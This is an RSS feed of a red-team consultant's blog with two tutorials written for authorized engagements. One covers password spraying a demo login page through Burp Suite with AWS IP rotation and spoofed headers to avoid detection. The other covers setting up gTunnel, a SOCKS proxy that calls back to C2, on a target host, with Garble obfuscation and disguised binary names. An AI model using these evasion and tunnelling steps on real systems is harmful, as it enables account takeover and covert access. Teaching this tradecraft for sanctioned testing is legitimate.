<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Elliott Grey on Medium]]></title>
        <description><![CDATA[Stories by Elliott Grey on Medium]]></description>
        <link>https://medium.com/@greycatsec?source=rss-bd897a52dedd------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*tr6lAcx05e6muN-ZQwycXw.jpeg</url>
            <title>Stories by Elliott Grey on Medium</title>
            <link>https://medium.com/@greycatsec?source=rss-bd897a52dedd------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 20:45:57 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@greycatsec/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[PowerWash Simulator]]></title>
            <link>https://medium.com/@greycatsec/powerwash-simulator-421fc69808e4?source=rss-bd897a52dedd------2</link>
            <guid isPermaLink="false">https://medium.com/p/421fc69808e4</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[web-app-security]]></category>
            <category><![CDATA[tools]]></category>
            <category><![CDATA[cyber]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Elliott Grey]]></dc:creator>
            <pubDate>Sun, 24 Sep 2023 19:54:14 GMT</pubDate>
            <atom:updated>2023-09-24T19:54:14.205Z</atom:updated>
            <content:encoded><![CDATA[<h3>Password Spraying and IP Rotation</h3><p>Disclaimer: I wrote this post in 2022. It’s complete, but not refined. I decided to publish as is so that maybe someone, somewhere, sometime can benefit from it.</p><h3>tl;dr</h3><p>How to set up IP rotation for password sprays with Burp Suite</p><h3>Prologue</h3><p>At some point in 2022, I was on an assessment where we used IP rotation for password spraying to avoid attribution to our infrastructure and remain undetected by the client’s blue team. I thought it was a wicked neat technique so I wanted to explore the topic, try it out for myself, and get some coding practice while I was at it. Additionally, I wanted to document the process for others to replicate and use in future operations.</p><p>This post is going to focus on the intersection of password spraying and IP rotation — namely, how to combine them for operational security. Additionally, I will walk through how to set up the tools and demonstrate on a simple web app I made.</p><h3>Acknowledgements</h3><p>I want to thank <a href="https://medium.com/u/e8d131c41615">Nick Powers</a> for showing me this technique and taking the time to walk me through it on our engagement. Thanks, Nick!</p><h3>Part I: The Preamble</h3><p>Let’s break down the ideas, starting with password spraying. A password spray is a brute force attack where the attacker uses one password (usually a default one found through recon) against a list of usernames (usually enumerated or generated following a standard format). This can avoid account lockouts that typically come with trying to brute force the password of a single user.</p><p>In the case of our engagement, we had found, through investigating internal documentation, a default password that admins set for new users. We also had dumped a list of target users from their confluence database that we had previously accessed. So, we had our password to try, a list of users to try against, and a desperate hope that one of the ones it might work against didn’t have MFA enabled yet. We were all set for a password spray.</p><p>But password sprays are regarded as “skid” tradecraft by some, and for good reason. They’re easy to do but also easy to get caught with if you’re generating a bunch of failed account logins from the same host IP. That’s where IP rotation comes in.</p><p>IP rotation is just as it sounds — it’s the process of rotating (changing) our source IP address. How does it work? For our case in using the BurpSuite IP Rotate extension, the traffic for our host routes through API Gateway endpoints which causes the IP to be different on each request. This can bypass different IP blocking methods, such as brute-force protections and API rate limiting.</p><p>Marrying the two concepts, we were able to avoid attribution to a single IP during a password spray by rotating our IP with each login attempt. The password spray was quite fruitful too since we successfully authenticated as several users (including an admin!) who didn’t have MFA enabled. We were able to use this access to complete an objective. Password spraying works, kids!</p><h3>Part II: The Walkthrough</h3><p>Now that we’ve gone over the concepts, let’s get some hands on keyboard time. To set up the password spray with IP rotation we have some prerequisites:</p><ul><li>Burp Suite installed (community edition works just fine)</li><li>An Amazon Web Services (AWS) account (free tier works fine)</li><li>[OPTIONAL] A burnable host to use as a SOCKS proxy (maybe with gTunnnel as per my <a href="https://medium.com/@greycatsec/get-your-socks-on-with-gtunnel-4a70a9b82b24">previous post</a>? :3c)</li></ul><h4><strong>IP Rotation Setup</strong></h4><p>This section is going to make use of a Burp Suite extension called IP Rotate. It’s free to download for community edition.</p><ol><li>Open up Burp Suite and configure Firefox to use Burp’s proxy</li><li>Go to the Burp Suite App Store in the Extender tab and locate IP Rotate</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Vf82fJOQ8UCnwIiK" /></figure><p>3. Download and install jython</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/0*N5m0u08BJ8O16NrD" /></figure><p>4. Configure Burp to use jython.jar</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Sz3OltV1KISrLAtn" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*KMYN6KiNjSjycWoQ" /></figure><p>5. Close and reopen Burp, return to the BApp store</p><p>6. Install IP Rotate</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/525/0*ALbFZM91jEl9FJul" /></figure><p>7. Get AWS access key</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/0*5eTjWo-4A-TnwluG" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*F22HvJ8--DCc038p" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*jztAuxZ7rNHUTKaE" /></figure><p>8. Check your http headers <a href="http://xhaus.com/headers">here</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*UnAhQQuzYr8jJcGb" /></figure><p>9. Enable IP Rotate and configure</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*NKXa6t5uFdN51Z4I" /></figure><p>10. Check headers again</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*vq-iO_3zqQdcRb_R" /></figure><p>11. Check again and watch it change</p><p>12. Unfortunately, while our source IP is different, it’s still revealing our original IP in the <em>X-Forwarded-For header</em>, but we can change that</p><p>13. Intercept the request to check your headers with Burp and add the header <em>X-My-X-Forwarded-For</em> with whatever fake IP address you want (e.g., 37.37.37.37)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ScLWGOnPxqPVT4ed" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*J9Rb3Y51AjDgoiaQ" /></figure><h4><strong>Password Spray Set Up — No IP Rotation</strong></h4><p>Let’s act like a tom cat and start spraying.</p><p>For this section, we’re going to use Burp Suite’s Intruder feature. To get started, first I visited my demo web app (no longer accessible sorry :/ ). There was a login page. I started intercepting in Burp Suite’s Proxy tab and tried a username and password combination.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OSdT62hO-s2AYd4R" /></figure><p>Then sent this request to Intruder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Dbej7CPApwalceTV" /></figure><p>Then went to the Intruder tab. I saw something like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MYBFcX1xVoHRYVr2" /></figure><p>I cleared the currently selected parameters.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*21U86ul_6Sil-6Xm" /></figure><p>I’ll add back the username as our payload param by highlighting the username value and clicking the Add button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BUOby_AEjCg-Q65q" /></figure><p>Next, we have to add the values we want Burp Suite to substitute in for the username. This would be the users list you enumerated or generated based on reconnaissance. In this example, it’s my Dungeon and Dragons campaign party members.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_qUCufY9K28_4XJ-" /></figure><p>Let’s assume through our reconnaissance that the default password for users is `rakshasassuck!`. With that assumption and our list of users, we go back to the Intruder payload and the set up should look like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*UlcoJ36X4lEDh8qG" /></figure><p>We’re good to start the attack!!! Launch it and then minimize it.</p><blockquote>“A watched password spray never yields a success.” — <a href="https://medium.com/u/e8d131c41615">Nick Powers</a></blockquote><p>Okay, it shouldn’t take too long since we didn’t space out the attempts and the list is short. The results should look similar to:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*CAff_p78JvGQqI-I" /></figure><p>What we’re looking for in these results is something different than the majority (since we’re going to assume the majority don’t have the default password). What stands out in these results is the Status and Length values. The majority have a status of 200 and a length of 2307, but snaggletooth doesn’t! Let’s investigate the anomaly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Ykbs9lq-JCjy0Ix5" /></figure><p>Looking at the Response tab after clicking on snaggletooth’s request, we can see that the redirect sends us to the success page as well as sets a cookie. We now know a valid set of credentials!</p><h4>Password Spray — Yes IP Rotation</h4><p>Okay, we know how the individual components work, let’s throw them together.</p><p>First, let’s set up IP Rotate for my demo web app. Toss in your AWS creds and the domain of the app (spray.greycatsec.com). The site is HTTPS so we’ll select that. Select any of the API Gateways you want to use to generate your IP (I keep mine to us-east-1 and us-west-1 because I’m pretending to be a real adversary and I want to match the location of the average generated traffic, i.e., if my client is US based, having European traffic would be anomalous and something to ring alarms).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OQKpl7QmCKZLdOOr" /></figure><p>Then we Intercept the request for the web application and add in our special header to prevent leakage of our real IP address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/0*Q0-t3xdFGD28nJbm" /></figure><p>Let the request fly!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*RRX-lSXESZzYvNGr" /></figure><p>Schweet. We got IP Rotate working on the target site. Let’s do the spraying as before. Our Intruder request should look like the one below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Moz5AqPG89rdPlis" /></figure><p><strong><em>NOTE: </em></strong>Add that X-My-X-Forwarded-For header!</p><p>Then we should be all set to start the attack just as before but knowing that now our IP is rotating with each request :)</p><p>Here’s the Intruder request for Nyx:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*QvZ4_4oiIldGLFbN" /></figure><p>And here’s the Intruder request for Foehammer:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*mdicEzwwQE1jXCoM" /></figure><p>You can see the IP differs between them and our source IP is not leaked.</p><h4>Bonus OpSec Notes</h4><p>If you’re worried or paranoid about the source IP still coming through somehow, I recommend using a burnable host to SOCKS proxy BurpSuite through. You could use gTunnel for the SOCKS proxy, with the setup detailed in <a href="https://medium.com/@greycatsec/get-your-socks-on-with-gtunnel-4a70a9b82b24">my previous post</a>. Once you’ve got your SOCKS tunnel up and running, configuring BurpSuite to go through it is detailed <a href="https://blog.malteksolutions.com/ssh-socks-and-burp/">here</a>. You can verify it’s working by checking your HTTP headers, either without IP Rotate enabled or without the <em>X-My-X-Forwarded-For</em> header included.</p><p>Rotating one IP is cool and all, but what if you rotated <em>two</em>? I know, it’s wild, but it can be done with Burp Suite’s Intruder feature. Before, we left the attack mode as the default Sniper, but if we change it to Pitchfork, we can use different sets of payloads. Burp Suite looks down the request and assigns marked payload sets greedily. So the first payload set will be the IP addresses we want to rotate through for the <em>X-My-X-Forwarded-For</em> header and the second will be our list of users to password spray against.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*evzadMMgkmuuTCet" /></figure><p>You can generate the list of IPs to rotate through with Nmap using the `-sL` flag and specifying a CIDR IP address. This will expand the CIDR IP to the individual IPs in the range. Then do some manipulation to get just the IPs from the output and copy/paste them into the second payload set.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*17H7eOejcP4bYAMq" /></figure><p>The payloads and their settings should look like the screenshots below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*mP6HRcwj6bXyB-6I" /></figure><p><strong><em>NOTE:</em></strong> The box for Payload Encoding is UNCHECKED. This is different from the default setting. Otherwise, it encodes the periods between the IP octets and shows up weirdly in the header. This would be a dead giveaway that something funky was going on to anyone looking at it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4yBQO8CZJE1SD9ym" /></figure><p>There’s no reason to uncheck the box for this one. But if you’re using email addresses, then you’ll want to uncheck it so that the `@` is not encoded and goes through properly.</p><p>With our payloads set up, let’s get to it and run the attack! Results in the screenshot below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*UtjcZyBY67LPyXVa" /></figure><p>Bam! We’re rotating through IPs and removing attribution to our core infrastructure. Now we can password spray with peace of mind!</p><h3>Epilogue</h3><p>Password spraying is a valid path to further objectives, but it can also be attributable back to your infrastructure through HTTP headers. So if stealth is a part of your engagement, then consider rotating your IP address through Burp Suite with the IP Rotate extension. You can reference how to set it up and perform a password spray with Burp Suite’s Intruder feature with this post :)</p><p>Thank you again to <a href="https://medium.com/u/e8d131c41615">Nick Powers</a> for showing me this technique and walking me through it on our engagement.</p><p>I hope this post helps you and serves as your wardrobe to a cool world! If you have claustrophobia, then please refer to the previous post on gTunnel for a colloquialism that might work better for you, that one’s for my agoraphobic homies.</p><h3>References</h3><ul><li>​​Fireprox, GitHub, <a href="https://github.com/ustayready/fireprox">https://github.com/ustayready/fireprox</a></li><li>Password Spraying Attack, OWASP, <a href="https://owasp.org/www-community/attacks/Password_Spraying_Attack">https://owasp.org/www-community/attacks/Password_Spraying_Attack</a></li><li>IP Rotate, PortSwigger, <a href="https://portswigger.net/bappstore/2eb2b1cb1cf34cc79cda36f0f9019874">https://portswigger.net/bappstore/2eb2b1cb1cf34cc79cda36f0f9019874</a></li><li>Bypassing IP Based Blocking, Rhino Security Labs, <a href="https://rhinosecuritylabs.com/aws/bypassing-ip-based-blocking-aws/">https://rhinosecuritylabs.com/aws/bypassing-ip-based-blocking-aws/</a></li><li>A beginner’s guide to building a simple database-backed Flask website on PythonAnywhere, PythonAnywhere, <a href="https://blog.pythonanywhere.com/121/">https://blog.pythonanywhere.com/121/</a></li><li>A beginner’s guide to building a simple database-backed Flask website on PythonAnywhere: part 2, PythonAnywhere, <a href="https://blog.pythonanywhere.com/158/">https://blog.pythonanywhere.com/158/</a></li><li>SSH Socks Proxying and Burp, Maltek Solutions, <a href="https://blog.malteksolutions.com/ssh-socks-and-burp/">https://blog.malteksolutions.com/ssh-socks-and-burp/</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=421fc69808e4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Get your SOCKS on with gTunnel]]></title>
            <link>https://medium.com/@greycatsec/get-your-socks-on-with-gtunnel-4a70a9b82b24?source=rss-bd897a52dedd------2</link>
            <guid isPermaLink="false">https://medium.com/p/4a70a9b82b24</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[socks5]]></category>
            <category><![CDATA[tools]]></category>
            <category><![CDATA[how-to]]></category>
            <category><![CDATA[network]]></category>
            <dc:creator><![CDATA[Elliott Grey]]></dc:creator>
            <pubDate>Wed, 07 Sep 2022 12:52:12 GMT</pubDate>
            <atom:updated>2022-09-07T12:52:12.277Z</atom:updated>
            <content:encoded><![CDATA[<h3>Get Your SOCKS on with gTunnel</h3><h3>tl;dr</h3><p>Steps to setup a wicked fast SOCKS proxy with a tool called gTunnel written by <a href="https://medium.com/u/507d73de7b97">hotnops</a></p><h3>Foreword</h3><p>First and foremost, I would like to take a moment to commemorate my first ever blog post! See the confetti falling through the air, hear the raucous cheering and the whistles and whoops, smell the freshly baked oatmeal chocolate chip cookies, and imagine the bubbling joy in my chest as I write this.</p><p>Thank you for taking the moment with me. Party’s over now. Let’s get to business.</p><p>Who even am I, who has yet to prove themself wise in the ways of the craft? Not that I need to in order to say something worthwhile. But that’s my segue and I’m sticking to it!</p><p>I’m an associate consultant at SpecterOps. I hit my two-year mark in June’22! Before that, I was a student at MIT, studying creative writing and computer science. So, that is to say, I’m still new to offensive security and getting my feet under me. This blog post serves to help my learning, help my teammates, and help you!</p><p>If you’re someone who proxies tooling to target (or wants to start!), this post is for you.</p><h3>Prologue</h3><p>Recently, I operated on a red team engagement where our SOCKS proxy was too slow due to agent limitations. This prevented us from using <a href="https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e">stolen Chrome cookies</a> to access Google sites due to Google’s server timeout policy. We needed a different solution than the built in SOCKS, one that was faster.</p><p>Several options existed. We evaluated <a href="https://github.com/klustic/AlmondRocks">AlmondRocks</a> and <a href="https://github.com/jpillora/chisel">Chisel</a> first. Our target host didn’t have Python 2.7 installed and I found the older Python 3 commit quite unstable, so AlmondRocks was out. Chisel looked like it would do what we wanted it to do. While we were cautious about it in a client environment, we didn’t take it off the table immediately. In the end, we didn’t pursue it because a coworker, <a href="https://medium.com/u/507d73de7b97">hotnops</a>, had written a network tunnel tool that can do wicked fast SOCKS proxying back in 2020. That baby is called gTunnel.</p><p>It took a little wiggling to jiggle it, and the process deviated a little from the documentation <a href="https://medium.com/u/507d73de7b97">hotnops</a> prepared, so I’ve compiled all the steps needed to get gTunnel working as of early August 2022. I’ve also included some operational security tips! Soon you too can have a fast SOCKS proxy.</p><p>I’m going to assume some prerequisites, but I’ll note those in the actual set up portion.</p><h3>Acknowledgements</h3><p>The biggest of thank yous to <a href="https://medium.com/u/507d73de7b97">hotnops</a> for not only writing gTunnel but for helping me troubleshoot it to get it up and running in a day.</p><h3>Chapter One: What is gTunnel?</h3><p>gTunnel is a network tunnel solution, meaning it transports data across a network by doing <a href="https://docs.oracle.com/cd/E19455-01/806-0916/ipov-32/index.html">packet encapsulation</a>. Network tunneling can set up connections between networks and is often used for virtual private networks (VPNs). If you’re on a VPN while reading this, you’re already using a network tunnel. Good start, my pupil!</p><p>There are other kinds of tunneling, like <a href="https://www.cloudflare.com/learning/network-layer/what-is-gre-tunneling/">GRE</a> and <a href="https://www.ssh.com/academy/ssh/tunneling/example">SSH</a>, to name just a couple. But we’ll be focused on gTunnel, which uses a single TCP connection.</p><p>gTunnel consists of a gServer and gClient, both of which are written in golang and can work on Windows, Linux, or Mac. It supports:</p><ul><li>Forward tunnels: Listens on a TCP port in your network and forwards all TCP connections to an IP and TCP port in the target network. Good for browsing intranets, lateral movement, and SOCKS proxying*</li><li>Reverse tunnels: Listens on a TCP port in the target network and sends all TCP connections to your IP on your specified port. Good for exfiling data or routing C2 out of internal networks</li></ul><p>*gClient has built in SOCKS5 server support (i.e., it supports authentication and uses a SSH for encrypted traffic relay. (i.e., more secure!))</p><p>Below is a (very basic) diagram of the flow of traffic between the gServer and gClient. Behold and gawp!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*zZMpg0vxS2dHA9RX" /><figcaption>Figure 1 — Network Diagram of gServer and gClient</figcaption></figure><h3>Chapter Two: Why and How?</h3><p>The gTunnel documents cover why you would want to use this for SOCKS proxying over other SOCKS proxies, but, for ease, I’ll copy it here.</p><h4>Why this instead of an SSH tunnel?</h4><blockquote><em>Simply to avoid SSH traffic. If your target allows outbound ssh and you don’t think it will get caught, SSH is hands down a better bet. gTunnel works over an HTTP/2 connection over TLS, so it should look like a normal web traffic session.</em></blockquote><h4>Why this instead of CobaltStrike SOCKS proxy?</h4><blockquote><em>CobaltStrike carries all SOCKS data over HTTP, which has a huge amount of overhead and forces you to put your interactive agent down to sleep 0. This risks your agent as well as produces enormous amounts of web traffic. gClient can be executed separately and provides a much quicker experience, resulting in faster page loads and exfil of data.</em></blockquote><p>But how does it work?</p><ol><li>You’ll initialize the gServer with docker on an internet accessible C2 host</li></ol><pre>docker run --net host -v $PWD/logs:/logs -v $PWD/tls:/tls --name gtun-server hotnops/gtunnel-server:latest ./gserver -clientPort 443</pre><p>2. You’ll then build a gClient, specifying the gServer’s public IP and the port you set for it to listen on</p><pre>./build_client.sh -arch x64 -bintype exe -ip 10.10.1.37 -port 443 -name MyAwesomeGclient -outputfile MyAwesomeTunnelBinary -platform mac</pre><p>3. You will then build the gTuncli, register the gClient with the gServer, run the gClient binary on target, and create the tunnel(s) that all ride one outbound HTTP/2 TCP connection</p><pre>./build_gtuncli.sh  <br>./gtuncli clientregister -token &quot;l.#K*mUDYKUv&lt;&amp;GhW[HRo=+bPeRHN(9K4&quot;  <br>./gtuncli tunnelcreate -clientid 1pEADhXv21K1Z3Fpu9k0qE6FYJg -destinationip 127.0.0.1 -destinationport 4444 -listenip 127.0.0.1 -listenport 5555</pre><h3>Chapter Three: Let’s Get It</h3><p>Alright, you know all about gTunnel. So, you want one? I know a pal who can help you (spoiler: it’s me).</p><p>To get started you’ll need the following:</p><ul><li>A host to run gServer (I’ll assume it’s Debian for the example commands but anything that can run Docker is fine. Translation of commands is left as an exercise to the reader.)</li><li>A target host to run gClient</li><li>The ability to execute code on the target host</li><li>HTTP/2 egress in the gClient network</li><li>[OPTIONAL] A sacrifice for the tunnel goddesses (mailing a 20oz bottle of original or vanilla Coca Cola to me will suffice. I’ll make sure the goddesses get it, I swear)</li></ul><p>ENOUGH GAB! LET’S GO.</p><h3>Setup</h3><p><strong><em>NOTE</em></strong>: Run these commands in a tmux session for ultimate power (AKA, so the processes don’t die if the shell closes). Check out this <a href="https://tmuxcheatsheet.com/">cheat sheet</a> if you don’t know tmux (I licherally have this open every time I use it, no shame here).</p><h4>Install Docker on the gServer Host</h4><p>Follow: <a href="https://docs.docker.com/engine/install/">Docker Install</a></p><p>then:</p><pre>sudo systemctl start docker.service</pre><h4>Install and Start the gServer</h4><p>The following will pull down the gTunnel server image and create a directory to store the certs and logs.</p><pre>apt install redis  <br>docker pull hotnops/gtunnel-server:latest  <br>mkdir gTunnel  <br>cd gTunnel  <br>mkdir logs  <br>mkdir tls</pre><p>If you have certificates from LetsEncrypt or something, just make sure to put them in the tls folder that gets mounted and name the key and certificate: “key” and “cert”, respectively.</p><pre>mv myletsencryptkey.key tls/key  <br>mv myletsencryptcert.cert tls/cert</pre><p>OR If you don’t have a certificate and don’t mind an investigation finding self-signed certs (the LetsEncrypt certs are definitely preferred!), run this command:</p><pre>cd tls  <br>openssl req -new -newkey rsa:4096 -x509 -sha256 -days 365 -nodes -out cert -keyout key</pre><p>Next, start the image from the directory that contains the tls and logs directories</p><pre>sudo docker run --net host -v $PWD/logs:/logs -v $PWD/tls:/tls --name gtun-server hotnops/gtunnel-server:latest ./gserver -clientPort &lt;PORT FOR GSERVER TO ACCEPT COMMS ON&gt;</pre><p>PROBLEM? If you have difficulties with this step, see <a href="#5db3">this section</a>.</p><p>Our network diagram looks only like this now:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/0*GEtXasdj1U2wcauP" /><figcaption>Figure 2 — Network Diagram So Far</figcaption></figure><h4>Build a Client to Verify that We Can</h4><p>If you haven’t already, download the source from github</p><pre>git clone https://github.com/hotnops/gtunnel.git gtunnel  <br>cd gtunnel</pre><p>Now for the pivotal decision! How will you be executing the gClient on target? The gTunnel client can be compiled as an executable, dynamic linked library (DLL), or shared object (SO), so the world’s your oyster. Unless you dislike sea creatures, in which case, the sky is your limit. If you have agoraphobia, then I’m terribly sorry that the ocean and sky colloquialisms didn’t work for you. I’ll think of a new one for the next post.</p><p>Once you’ve ascertained what your gClient host operating system is and what method of execution you want to try, let’s build the client. For this walkthrough, I’m going to compile gClient as a standalone executable.</p><p><strong><em>NOTE</em></strong>: Mac and Linux targets require some code modifications as of writing this before building the gClient. Go ahead and skip this if your gClient OS is Windows. In your editor of choice (nano), open gclient/builder/gclient_build.go. Remove the line with CGO_ENABLED=1 or comment it out. It&#39;s crufty. We don&#39;t need it. Next, in your editor of choice (nano), open gclient/gClient.go and remove the line about IMPORT &quot;C&quot;. Again, we don&#39;t want it. Now you should be good to move on for Mac or Linux!</p><p>Run the build client script, the first time might take a minute since it needs to build the docker image.</p><pre>./build_client.sh -arch x64 -bintype exe -ip &lt;public ip of gserver&gt; -port &lt;PORT SPECIFIED IN GSERVER&gt; -name &lt;FRIENDLY CLIENT NAME&gt; -outputfile &lt;MY BINARY NAME&gt; -platform &lt;win|mac|linux&gt;</pre><p>There should now be an executable in the build directory. This is the binary that gets deployed to the remote host.</p><p><strong><em>NOTE</em></strong>: Write down the client token generated during the running of the build_client.sh. Or else.</p><p>PROBLEM? If you have difficulties here, see <a href="#4ec8">this section</a>.</p><h4>Building the Client….but Garbled!</h4><p>Ok, we got the client built. But that’s basic. It might be signatured. It might have an ex-partner on the target that it wants to avoid. Sometimes you’re just having a bad face day. Let’s do some obfuscation with Garble.</p><p>I’ve forked gTunnel and made a Garble branch that will do the obfuscation. Simply replace the gClient/Dockerfile from <a href="https://medium.com/u/507d73de7b97">hotnops</a>’s source with <a href="https://github.com/greycatsec/gtunnel/blob/garble_gtunnel/gclient/Dockerfile">this one</a>.</p><p>Now rerun the build_client.sh command and it should take twice as long to run, but the output is an obfuscated go binary!</p><h4>Build the gTuncli</h4><p>In the gTunnel root directory, run:</p><pre>./build_gtuncli.sh</pre><p>PROBLEM? If you have difficulties with this step, see <a href="#2b31">this section</a>.</p><h4>Set Configuration File</h4><p>In the same directory as the gTuncli executable (gtuncli/build/ by default) , create a file named .gtunnel.conf (notice the dot!). Inside that file, insert the following:</p><pre>{  <br>    &quot;host&quot;:&quot;127.0.0.1&quot;,  <br>    &quot;port&quot;:1337  <br>}</pre><p><strong><em>NOTE</em></strong>: This is the ADMIN port for gTunnel. This does not see any traffic other than from you to gServer to manage gTunnel. If you run gTuncli from somewhere other than the host you’re running the server on, change the host parameter in the config file to match the gServer’s IP.</p><h3>Usage</h3><h4>gTuncli</h4><p>First, we need to register the client so that gTunnel knows to expect it. It’s just polite to text someone as a heads up before you call them. Only the token argument is required since it’s used for authentication, but the other information helps with making the output easy to read and you to stay organized when you’re 1337 h@xing.</p><pre>./gtuncli clientregister -arch x64 -bintype exe -ip &lt;public ip of gserver&gt; -port &lt;PORT GSERVER LISTENS FOR NOT THE ADMIN PORT IN THE CONF FILE&gt; -name &lt;THE FRIENDLY CLIENT NAME&gt; -platform &lt;SAME AS BEFORE&gt; -token &quot;&lt;token output from client build step because you totally saved it right?&gt;&quot;</pre><h4>Start the Client on the Remote Host</h4><p>It is now time to run the client on the remote host!!! Upload it through your C2 channel with a nice, totally not sus name to your directory of choice. Some enumeration of current applications on the host is key here. You want something that will blend in as a long-running app. Chat apps are nice (e.g., Slack, WhatsApp, Discord, Teams, etc). But use your best judgment. I trust you. Start it however you would start any other executable that’s on disk. Once connected, you should see a relevant message in the logs.</p><p><strong><em>NOTE</em></strong>: When you run it, it WILL block. So be aware of what agent/beacon you’re running it on.</p><p>Now our diagram looks like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*d4LjAPrl4yCK22Gp" /><figcaption>Figure 3 — Network Diagram So Far pt 2</figcaption></figure><h4>Add the Tunnel and SOCKS Server</h4><p>You now need to tell the client that you want to set up a forward tunnel and a SOCKS server. First, you need the client instance ID. You can get that by listing out all the connected clients</p><pre>./gtuncli clientlist</pre><p>Using the unique id in the output, we can add a tunnel to that instance. Following our analogy of texting before calling someone, creating the tunnel is akin to actually answering the phone but not saying anything yet.</p><pre>./gtuncli tunnelcreate -clientid &lt;id from previous step&gt; -destinationip 127.0.0.1 -destinationport &lt;PORT ON TARGET&gt; -listenip 127.0.0.1 -listenport 5555</pre><p>This will forward all traffic from localhost port 5555 to the target on localhost port PORT ON TARGET, where PORT ON TARGET is a port…on the target. You want to choose one that blends in. Listing out currently listening ports and choosing one in a similar range would be good.</p><p>Our diagram will resemble this now:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ClwEiOXsUY7S-kjv" /><figcaption>Figure 4 — Network Diagram So Far pt 3</figcaption></figure><p>Lastly, start a SOCKS server on the remote host and have it listen on port PORT ON TARGET. This is the part of the phone call where you actually do the talking.</p><pre>./gtuncli socksstart -clientid &lt;id&gt; -port &lt;PORT ON TARGET&gt;</pre><p>Now we have:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OV1CxF_PGxybM39l" /><figcaption>Figure 5 — Network Diagram So Far pt 4</figcaption></figure><h4>Using the SOCKS</h4><p>Start an SSH local port forward to the gServer host</p><pre>ssh -L 5555:127.0.0.1:5555 &lt;you&gt;@&lt;yourhostIP&gt;</pre><p>Then configure proxychains to use SOCKS5 and port 5555 (or whatever it is you set it to).</p><p>Your setup should look like the diagram below. Proxychains away, my friend!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9VzP5THw711atTAg" /><figcaption>Figure 6 — Network Diagram Completed</figcaption></figure><p>PROBLEM? If you have difficulties with this step, see <a href="#cdf9">this section</a>.</p><h3>Clean up</h3><p>You’re done with the op, but you have that pesky SOCKS binary on the client still! If it’s still running, you can issue the socksstop command from gTuncli. If you still have C2, just kill the process and remove the binary. It doesn’t auto restart or anything. If it dies, it dies. But otherwise, just include in the report that they should reboot the host and remove that binary.</p><h3>Epilogue</h3><p>Thank you so so so much to <a href="https://medium.com/u/507d73de7b97">hotnops</a> for the wicked tool, the fun and helpful docs, and his time in troubleshooting. Hopefully this walkthrough of how to set up gTunnel as a SOCKS proxy will help you should you ever need a fast SOCKS or want something with different operational security considerations. Happy proxying!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*PtLij5HFGHchWZNp" /><figcaption>Figure 7 — The Promised Mural of <a 